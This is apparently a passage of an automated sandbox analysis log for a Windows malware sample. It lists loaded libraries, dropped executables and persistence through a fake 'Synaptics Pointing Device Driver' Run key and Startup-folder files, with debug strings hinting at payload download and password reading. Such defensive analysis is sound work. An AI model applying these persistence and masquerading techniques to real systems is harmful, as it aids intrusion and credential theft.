Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: srpapi.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: msimtf.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: d2d1.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: dwrite.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: dxcore.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: secur32.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: mlang.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: propsys.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: wininet.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: uiautomationcore.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: winmm.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: thumbcache.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: samcli.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: samlib.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: policymanager.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: networkexplorer.dll
Source: C:\Users\user\Desktop\._cache_2.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: dxgidebug.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: sfc_os.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: dwmapi.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: riched20.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: usp10.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: msls31.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: windowscodecs.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: textshaping.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: textinputframework.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: coreuicomponents.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: coremessaging.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: ntmarta.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: wintypes.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: wintypes.dll
Source: C:\Program Files (x86)\4.exe	Section loaded: wintypes.dll
Source: C:\Windows\wic.exe	Section loaded: apphelp.dll
Source: C:\Windows\wic.exe	Section loaded: wininet.dll
Source: C:\Windows\wic.exe	Section loaded: msimg32.dll
Source: C:\Windows\wic.exe	Section loaded: uxtheme.dll
Source: C:\Windows\wic.exe	Section loaded: oledlg.dll
Source: C:\Windows\wic.exe	Section loaded: oleacc.dll
Source: C:\Windows\wic.exe	Section loaded: winmm.dll
Source: C:\Windows\wic.exe	Section loaded: iertutil.dll
Source: C:\Windows\wic.exe	Section loaded: sspicli.dll
Source: C:\Windows\wic.exe	Section loaded: windows.storage.dll
Source: C:\Windows\wic.exe	Section loaded: wldp.dll
Source: C:\Windows\wic.exe	Section loaded: profapi.dll
Source: C:\Windows\wic.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\wic.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\wic.exe	Section loaded: winhttp.dll
Source: C:\Windows\wic.exe	Section loaded: mswsock.dll
Source: C:\Windows\wic.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\wic.exe	Section loaded: winnsi.dll
Source: C:\Windows\wic.exe	Section loaded: urlmon.dll
Source: C:\Windows\wic.exe	Section loaded: srvcli.dll
Source: C:\Windows\wic.exe	Section loaded: netutils.dll
Source: C:\Windows\wic.exe	Section loaded: dnsapi.dll
Source: C:\Windows\wic.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\wic.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\wic.exe	Section loaded: textinputframework.dll
Source: C:\Windows\wic.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\wic.exe	Section loaded: coremessaging.dll
Source: C:\Windows\wic.exe	Section loaded: ntmarta.dll
Source: C:\Windows\wic.exe	Section loaded: wintypes.dll
Source: C:\Windows\wic.exe	Section loaded: wintypes.dll
Source: C:\Windows\wic.exe	Section loaded: wintypes.dll
Source: C:\Windows\wic.exe	Section loaded: textshaping.dll
Source: C:\Windows\SysWOW64\shutdown.exe	Section loaded: shutdownext.dll
Source: C:\Windows\SysWOW64\shutdown.exe	Section loaded: sspicli.dll
Source: C:\Windows\cbas.exe	Section loaded: apphelp.dll
Source: C:\Windows\cbas.exe	Section loaded: wininet.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: cbas[1].lnk.12.dr	LNK file: ..\..\..\Windows\cbas.exe
Source: cbas.lnk.12.dr	LNK file: ..\..\..\Windows\cbas.exe
Source: cbas.lnk0.12.dr	LNK file: ..\..\..\Windows\cbas.exe

Source: C:\ProgramData\Synaptics\Synaptics.exe

File written: C:\Users\user\AppData\Local\Temp\Ww7OMnx.ini

Jump to behavior

Source: C:\Users\user\Desktop\._cache_1.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK
Source: C:\Users\user\Desktop\._cache_2.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\._cache_2.exe

Window detected: 1993-2023 Alexander Roshal(&D)C:\Program Files (x86)\WinRARC:\Program Files (x86)\WinRAR(&W)... (END USER LICENSE AGREEMENT EULA) [] []

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: 4.exe, 0000000A.00000003.1556442553.00000000056FA000.00000004.00000020.00020000.00000000.sdmp, 4.exe, 0000000A.00000003.1553686256.00000000055A6000.00000004.00000020.00020000.00000000.sdmp, 4.exe, 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmp, 4.exe, 0000000A.00000000.1548702947.0000000000E34000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: \Release\EXEPayload.pdb! source: wic.exe, 0000000C.00000003.1603360933.0000000000616000.00000004.00000020.00020000.00000000.sdmp, cbas.exe, 00000012.00000000.1713768152.0000000000FB3000.00000002.00000001.01000000.0000001A.sdmp, cbas[1].exe.12.dr, cbas.exe.12.dr
Source:	Binary string: \read_name_pass_dll\release\read_name_pass_dll.pdb source: wic.exe, 0000000C.00000003.1610908352.0000000000616000.00000004.00000020.00020000.00000000.sdmp, msslac.dll.12.dr
Source:	Binary string: \Release\EXEPayload.pdb source: wic.exe, 0000000C.00000003.1603360933.0000000000616000.00000004.00000020.00020000.00000000.sdmp, cbas.exe, 00000012.00000000.1713768152.0000000000FB3000.00000002.00000001.01000000.0000001A.sdmp, cbas[1].exe.12.dr, cbas.exe.12.dr
Source:	Binary string: \Release\DownLoad.pdb source: wic.exe, 0000000C.00000000.1585369183.00000000009E3000.00000002.00000001.01000000.00000017.sdmp, wic.exe, 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar32\Release\sfxrar.pdb source: ._cache_2.exe, 00000009.00000000.1548811664.00000000003AB000.00000002.00000001.01000000.0000000D.sdmp, 2.exe.0.dr
Source:	Binary string: O.PDb source: Synaptics.exe, 00000005.00000002.3828218133.0000000009401000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar32\Release\sfxrar.pdb< source: ._cache_2.exe, 00000009.00000000.1548811664.00000000003AB000.00000002.00000001.01000000.0000000D.sdmp, 2.exe.0.dr

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00406A20 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

0_2_00406A20

Source: C:\Program Files (x86)\4.exe

File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\__tmp_rar_sfx_access_check_5570843

Source: 3[1].exe.0.dr	Static PE information: section name: UPX2
Source: 3.exe.0.dr	Static PE information: section name: UPX2
Source: 4[1].exe.0.dr	Static PE information: section name: .didat
Source: 4.exe.0.dr	Static PE information: section name: .didat
Source: ._cache_2.exe.7.dr	Static PE information: section name: .didat
Source: clxa.exe.10.dr	Static PE information: section name: UPX2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004067A4 push eax; ret	0_2_004067AC
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_004134A1 push edi; ret	4_2_0041351D
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_0041356E push edi; ret	4_2_0041351D
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_0040F590 push eax; ret	4_2_0040F5BE
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_00410264 push ds; ret	4_2_00410266
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 5_2_07D8C98F push eax; iretd	5_2_07D8C9B9
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 5_2_07D8C9BB pushad ; iretd	5_2_07D8CE91
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 5_2_07D8CE3C pushad ; iretd	5_2_07D8CE91
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 5_2_083CCE3C pushad ; iretd	5_2_083CCE91
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 5_2_083CCF20 pushad ; iretd	5_2_083CCF21
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 5_2_083CCDD8 push esp; iretd	5_2_083CCDD9
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 5_2_083CCDDA pushad ; iretd	5_2_083CCE91
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 5_2_083CCDD0 pushad ; iretd	5_2_083CCDD1
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 5_2_083CC98E push eax; iretd	5_2_083CC9B9
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 5_2_0878CDD8 push esp; iretd	5_2_0878CDD9
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 5_2_0878CDD0 pushad ; iretd	5_2_0878CDD1
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 5_2_0878C990 push eax; iretd	5_2_0878C9B9
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E207F0 push ecx; ret	10_2_00E20803
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E1FEFC push eax; ret	10_2_00E1FF1A
Source: C:\Windows\wic.exe	Code function: 12_2_008AF8FB push ecx; ret	12_2_008AF8FC
Source: C:\Windows\wic.exe	Code function: 12_2_009ABA13 push ecx; ret	12_2_009ABA26

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1

Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\Desktop\file.exe	Executable created and started: C:\Windows\wic.exe			Jump to behavior
Source: unknown	Executable created and started: C:\Windows\cbas.exe

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\1[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Program Files (x86)\3.exe	Jump to dropped file
Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\4[1].exe	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp	Jump to dropped file
Source: C:\Program Files (x86)\1.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\AppData\Local\Temp\6QWwVh6L.exe	Jump to dropped file
Source: C:\Program Files (x86)\2.exe	File created: C:\Users\user\Desktop\._cache_2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\2[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Program Files (x86)\4.exe	Jump to dropped file
Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cghqi.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\3[1].exe	Jump to dropped file
Source: C:\Windows\wic.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\msslac[1].dll	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	Jump to dropped file
Source: C:\Program Files (x86)\1.exe	File created: C:\Users\user\Desktop\._cache_1.exe	Jump to dropped file
Source: C:\Windows\wic.exe	File created: C:\Windows\cbas.exe	Jump to dropped file
Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clxa.exe	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\AppData\Local\Temp\RCXF081.tmp	Jump to dropped file
Source: C:\Program Files (x86)\1.exe	File created: C:\ProgramData\Synaptics\RCXE7D7.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Program Files (x86)\1.exe	Jump to dropped file
Source: C:\Windows\wic.exe	File created: C:\Windows\msslac.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Program Files (x86)\2.exe	Jump to dropped file
Source: C:\Windows\wic.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\cbas[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\wic[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\wic.exe	Jump to dropped file

Source: C:\Program Files (x86)\1.exe	File created: C:\ProgramData\Synaptics\RCXE7D7.tmp			Jump to dropped file
Source: C:\Program Files (x86)\1.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Program Files (x86)\3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Program Files (x86)\1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Program Files (x86)\2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Program Files (x86)\4.exe	Jump to dropped file

Source: C:\Windows\wic.exe	File created: C:\Windows\cbas.exe	Jump to dropped file
Source: C:\Windows\wic.exe	File created: C:\Windows\msslac.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\wic.exe	Jump to dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1

Jump to dropped file

Source: C:\Windows\wic.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\cbas.lnk

Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu
Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\__tmp_rar_sfx_access_check_5570843
Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe
Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cghqi.exe
Source: C:\Program Files (x86)\4.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\clxa.exe
Source: C:\Windows\wic.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\cbas.lnk
Source: C:\Windows\wic.exe	File created: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cbas.lnk

Source: C:\Program Files (x86)\1.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior
Source: C:\Program Files (x86)\1.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior

Source: C:\Windows\wic.exe	Code function: 12_2_00863400 IsIconic,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,	12_2_00863400
Source: C:\Windows\wic.exe	Code function: 12_2_00882B33 IsIconic,	12_2_00882B33
Source: C:\Windows\wic.exe	Code function: 12_2_008A3538 SetRectEmpty,RedrawWindow,ReleaseCapture,SetCapture,ReleaseCapture,SetCapture,SendMessageA,UpdateWindow,SendMessageA,IsWindow,IsIconic,IsZoomed,IsWindow,UpdateWindow,	12_2_008A3538
Source: C:\Windows\wic.exe	Code function: 12_2_008B3CAB GetClientRect,IsRectEmpty,IsWindow,IsIconic,BeginDeferWindowPos,GetClientRect,IsRectEmpty,GetWindowRect,GetParent,IsRectEmpty,EqualRect,EndDeferWindowPos,	12_2_008B3CAB

Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\3.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\Desktop\._cache_2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\._cache_2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\wic.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\wic.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\wic.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\wic.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\wic.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
